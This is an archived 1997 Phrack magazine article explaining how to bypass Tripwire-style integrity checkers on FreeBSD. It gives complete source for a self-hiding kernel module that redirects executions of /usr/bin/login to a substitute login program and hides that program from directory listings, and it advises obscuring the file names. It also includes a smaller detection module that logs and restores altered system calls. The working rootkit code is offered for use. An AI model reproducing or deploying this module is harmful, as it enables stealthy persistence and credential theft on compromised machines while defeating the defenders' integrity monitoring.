home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack51.009 < prev    next >
Encoding:
Text File  |  2003-06-11  |  10.4 KB  |  330 lines

  1.  
  2. ---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 09 of 17
  3.  
  4.  
  5. -------------------------[  Bypassing Integrity Checking Systems
  6.  
  7.  
  8. --------[  halflife <halflife@infonexus.com>
  9.  
  10.  
  11. In this day and age where intrusions happen on a daily basis and there is a
  12. version of "rootkit" for every operating system imaginable, even mostly
  13. incompetent system administration staff have begun doing checksums on their
  14. binaries.  For the hacker community, this is a major problem since their very
  15. clever trojan programs are quickly detected and removed.  Tripwire is a very
  16. popular and free utility to do integrity checking on UNIX systems.  This
  17. article explores a simple method for bypassing checks done by tripwire and
  18. other integrity checking programs.
  19.  
  20. First off, how do integrity-checking programs work?  Well, when you first
  21. install them, they calculate a hash (sometimes multiple hashes) of all the
  22. binary files you wish to monitor.  Then, periodically, you run the checker
  23. and it compares the current hash with the previously recorded hash.  If the
  24. two differ, than something funny is going on, and it is noted.  Several
  25. different algorithms exist for doing the hashes, the most popular probably
  26. being the MD5 hash.
  27.  
  28. In the past, there have been problems with several hashes.  MD5 has had some
  29. collisions, as have many other secure hash algorithms. However, exploiting the
  30. collisions is still very very difficult.  The code in this article does not
  31. rely on the use of a specific algorithm, rather we focus on a problem of trust
  32. -- integrity checking programs need to trust the operating system, and some
  33. may even trust libc.  In code that is designed to detect compromises that
  34. would by their very nature require root access, you can not trust anything,
  35. including your own operating system.
  36.  
  37. The design of twhack had several requirements.  The first is that it need not
  38. require a kernel rebuild; loadable kernel modules (lkm) provided a solution
  39. to this.  The second is that it need be relatively stealthy.  I managed to find
  40. a simple way to hide the lkm in the FreeBSD kernel (probably works in OpenBSD
  41. and NetBSD although I have not verified this).  Once you load the module, the
  42. first ls type command will effectively hide the module from view.  Once hidden
  43. it can not be unloaded or seen with the modunload(8) command.
  44.  
  45. First, a little information on FreeBSD loadable modules.  I am using the MISC
  46. style of modules, which is basically similar to linux modules.  It gives you
  47. pretty much full access to everything.  LKM info is stored in an array of
  48. structures.  In FreeBSD 2.2.1 the array has room for 20 modules.
  49.  
  50. Hiding the modules is really quite simple.  There is a used variable that
  51. determines if the module slot is free or not.  When you insert a module, the
  52. device driver looks for the first free module entry -- free being defined as
  53. an entry with 0 in the used slot and places some info in the structure.  The
  54. info is mainly used for unloading, and we are not interested in that, so it is
  55. okay if other modules overwrite our structure (some might call that a feature,
  56. even).
  57.  
  58. Next we have to redirect the system calls we are interested in.  This is
  59. somewhat similar to Linux modules as well.  System calls are stored in an
  60. array of structures.  The structure contains a pointer to the system call and
  61. a variable specifying the number of arguments.  Obviously, all we are
  62. interested in is the pointer.  First we bcopy the structure to a variable,
  63. then we modify the function pointer to point to our code.  In our code we can
  64. do stuff like old_function.sy_call(arguments) to call the original system call
  65. -- quick and painless.
  66.  
  67. Now that we know HOW to redirect system calls, which ones do we redirect in
  68. order to bypass integrity checkers?  Well, there are a number of possibilities.
  69. You could redirect open(), stat(), and a bunch of others so that reads of your
  70. modified program redirect to copies of the unmodified version.  I, however,
  71. chose the opposite approach.  Execution attempts of login redirect to another
  72. program, opens still go to the real login program.  Since we don't want our
  73. alternative login program being detected, I also modified getdirentries so
  74. that our program is never in the buffer it returns.  Similar things probably
  75. should have been done with syscall 156 which is old getdirentries, but I don't
  76. think it is defined and I don't know of anything using it, so it probably does
  77. not really matter.
  78.  
  79. Despite the attempts at keeping hidden, there are a few ways to detect this
  80. code.  One of the ways of detecting (and stopping) the code is provided.
  81. It is a simple stealthy module that logs when syscall addresses change, and
  82. reverses the changes.  This will stop the twhack module as provided, but is
  83. FAR from perfect.
  84.  
  85. What the checking code does is bcopy() the entire sysent array into a local
  86. copy.  Then it registers an at_fork() handler and in the handler it checks
  87. the current system call table against the one in memory, if they differ it
  88. logs the differences and changes the entry back.
  89.  
  90. <++> twhack/Makefile
  91. CC=gcc
  92. LD=ld
  93. RM=rm
  94. CFLAGS=-O -DKERNEL -DACTUALLY_LKM_NOT_KERNEL $(RST)
  95. LDFLAGS=-r
  96. RST=-DRESTORE_SYSCALLS
  97.  
  98. all: twhack syscheck
  99.  
  100. twhack:
  101.     $(CC) $(CFLAGS) -c twhack.c
  102.     $(LD) $(LDFLAGS) -o twhack_mod.o twhack.o
  103.     @$(RM) twhack.o
  104.  
  105. syscheck:
  106.     $(CC) $(CFLAGS) -c syscheck.c
  107.     $(LD) $(LDFLAGS) -o syscheck_mod.o syscheck.o
  108.     @$(RM) syscheck.o
  109. clean:
  110.     $(RM) -f *.o
  111. <-->
  112. <++> twhack/twhack.c
  113. /*
  114. ** This code is a simple example of bypassing Integrity checking
  115. ** systems in FreeBSD 2.2. It has been tested in 2.2.1, and
  116. ** believed to work (although not tested) in 3.0.
  117. **
  118. ** Halflife <halflife@infonexus.com>
  119. */
  120.  
  121. /* change these */
  122. #define ALT_LOGIN_PATH "/tmp/foobar"
  123. #define ALT_LOGIN_BASE "foobar"
  124.  
  125. /* includes */
  126. #include <sys/param.h>
  127. #include <sys/ioctl.h>
  128. #include <sys/proc.h>
  129. #include <sys/systm.h>
  130. #include <sys/sysproto.h>
  131. #include <sys/conf.h>
  132. #include <sys/mount.h>
  133. #include <sys/exec.h>
  134. #include <sys/sysent.h>
  135. #include <sys/lkm.h>
  136. #include <a.out.h>
  137. #include <sys/file.h>
  138. #include <sys/errno.h>
  139. #include <sys/syscall.h>
  140. #include <sys/dirent.h>
  141.  
  142. /* storage for original execve and getdirentries syscall entries */
  143. static struct sysent old_execve;
  144. static struct sysent old_getdirentries;
  145.  
  146. /* prototypes for new execve and getdirentries functions */
  147. int new_execve __P((struct proc *p, void *uap, int retval[]));
  148. int new_getdirentries __P((struct proc *p, void *uap, int retval[]));
  149.  
  150. /* flag used for the stealth stuff */
  151. static int hid=0;
  152.  
  153. /* table we need for the stealth stuff */
  154. static struct lkm_table *table;
  155.  
  156. /* misc lkm */
  157. MOD_MISC(twhack);
  158.  
  159. /*
  160. ** this code is called when we load or unload the module. unload is
  161. ** only possible if we initialize hid to 1
  162. */
  163. static int
  164. twhack_load(struct lkm_table *l, int cmd)
  165. {
  166.     int err = 0;
  167.     switch(cmd)
  168.     {
  169.         /*
  170.         ** save execve and getdirentries system call entries
  171.         ** and point function pointers to our code
  172.         */
  173.         case LKM_E_LOAD:
  174.             if(lkmexists(l))
  175.                 return(EEXIST);
  176.             bcopy(&sysent[SYS_execve], &old_execve, sizeof(struct sysent));
  177.             sysent[SYS_execve].sy_call = new_execve;
  178.             bcopy(&sysent[SYS_getdirentries], &old_getdirentries, sizeof(struct sysent));
  179.             sysent[SYS_getdirentries].sy_call = new_getdirentries;
  180.             table = l;
  181.             break;
  182.         /* restore syscall entries to their original condition */
  183.         case LKM_E_UNLOAD:
  184.             bcopy(&old_execve, &sysent[SYS_execve], sizeof(struct sysent));
  185.             bcopy(&old_getdirentries, &sysent[SYS_getdirentries], sizeof(struct sysent));
  186.             break;
  187.         default:
  188.             err = EINVAL;
  189.             break;
  190.     }
  191.     return(err);
  192. }
  193.  
  194. /* entry point to the module */
  195. int
  196. twhack_mod(struct lkm_table *l, int cmd, int ver)
  197. {
  198.     DISPATCH(l, cmd, ver, twhack_load, twhack_load, lkm_nullcmd);
  199. }
  200.  
  201. /*
  202. ** execve is simple, if they attempt to execute /usr/bin/login
  203. ** we change fname to ALT_LOGIN_PATH and then call the old execve
  204. ** system call.
  205. */
  206. int
  207. new_execve(struct proc *p, void *uap, int  *retval)
  208. {
  209.     struct execve_args *u=uap;
  210.  
  211.     if(!strcmp(u->fname, "/usr/bin/login"))
  212.         strcpy(u->fname, ALT_LOGIN_PATH);
  213.     return old_execve.sy_call(p, uap, retval);
  214. }
  215.  
  216. /*
  217. ** in getdirentries() we call the original syscall first
  218. ** then nuke any occurance of ALT_LOGIN_BASE. ALT_LOGIN_PATH
  219. ** and ALT_LOGIN_BASE should _always_ be modified and made
  220. ** very obscure, perhaps with upper ascii characters.
  221. */
  222. int
  223. new_getdirentries(struct proc *p, void *uap, int *retval)
  224. {
  225.     struct getdirentries_args *u=uap;
  226.     struct dirent *dep;
  227.     int nbytes;
  228.     int r,i;
  229.  
  230.     /* if hid is not set, set the used flag to 0 */
  231.     if(!hid)
  232.     {
  233.         table->used = 0;
  234.         hid++;
  235.     }
  236.     r = old_getdirentries.sy_call(p, uap, retval);
  237.     nbytes = *retval;
  238.     while(nbytes > 0)
  239.     {
  240.         dep = (struct dirent *)u->buf;
  241.         if(!strcmp(dep->d_name, ALT_LOGIN_BASE))
  242.         {
  243.             i = nbytes - dep->d_reclen;
  244.             bcopy(u->buf+dep->d_reclen, u->buf, nbytes-dep->d_reclen);
  245.             *retval = i;
  246.             return r;
  247.         }
  248.         nbytes -= dep->d_reclen;
  249.         u->buf += dep->d_reclen;
  250.     }
  251.     return r;
  252. }
  253. <-->
  254. <++> twhack/syscheck.c
  255. #include <sys/param.h>
  256. #include <sys/ioctl.h>
  257. #include <sys/proc.h>
  258. #include <sys/systm.h>
  259. #include <sys/sysproto.h>
  260. #include <sys/conf.h>
  261. #include <sys/mount.h>
  262. #include <sys/exec.h>
  263. #include <sys/sysent.h>
  264. #include <sys/lkm.h>
  265. #include <a.out.h>
  266. #include <sys/file.h>
  267. #include <sys/errno.h>
  268. #include <sys/syscall.h>
  269. #include <sys/dirent.h>
  270.  
  271. static int hid=0;
  272. static struct sysent table[SYS_MAXSYSCALL];
  273. static struct lkm_table *boo;
  274. MOD_MISC(syscheck);
  275. void check_sysent(struct proc *, struct proc *, int);
  276.  
  277. static int
  278. syscheck_load(struct lkm_table *l, int cmd)
  279. {
  280.     int err = 0;
  281.     switch(cmd)
  282.     {
  283.         case LKM_E_LOAD:
  284.             if(lkmexists(l))
  285.                 return(EEXIST);
  286.             bcopy(sysent, table, sizeof(struct sysent)*SYS_MAXSYSCALL);
  287.             boo=l;
  288.             at_fork(check_sysent);
  289.             break;
  290.         case LKM_E_UNLOAD:
  291.             rm_at_fork(check_sysent);
  292.             break;
  293.         default:
  294.             err = EINVAL;
  295.             break;
  296.     }
  297.     return(err);
  298. }
  299.  
  300. int
  301. syscheck_mod(struct lkm_table *l, int cmd, int ver)
  302. {
  303.     DISPATCH(l, cmd, ver, syscheck_load, syscheck_load, lkm_nullcmd);
  304. }
  305.  
  306. void
  307. check_sysent(struct proc *parent, struct proc *child, int flags)
  308. {
  309.     int i;
  310.     if(!hid)
  311.     {
  312.         boo->used = 0;
  313.         hid++;
  314.     }
  315.     for(i=0;i < SYS_MAXSYSCALL;i++)
  316.     {
  317.         if(sysent[i].sy_call != table[i].sy_call)
  318.         {
  319.             printf("system call %d has been modified (old: %p new: %p)\n", i, table[i].sy_call, sysent[i].sy_call);
  320. #ifdef RESTORE_SYSCALLS
  321.             sysent[i].sy_call = table[i].sy_call;
  322. #endif
  323.         }
  324.     }
  325. }
  326. <-->
  327.  
  328.  
  329. ----[  EOF
  330.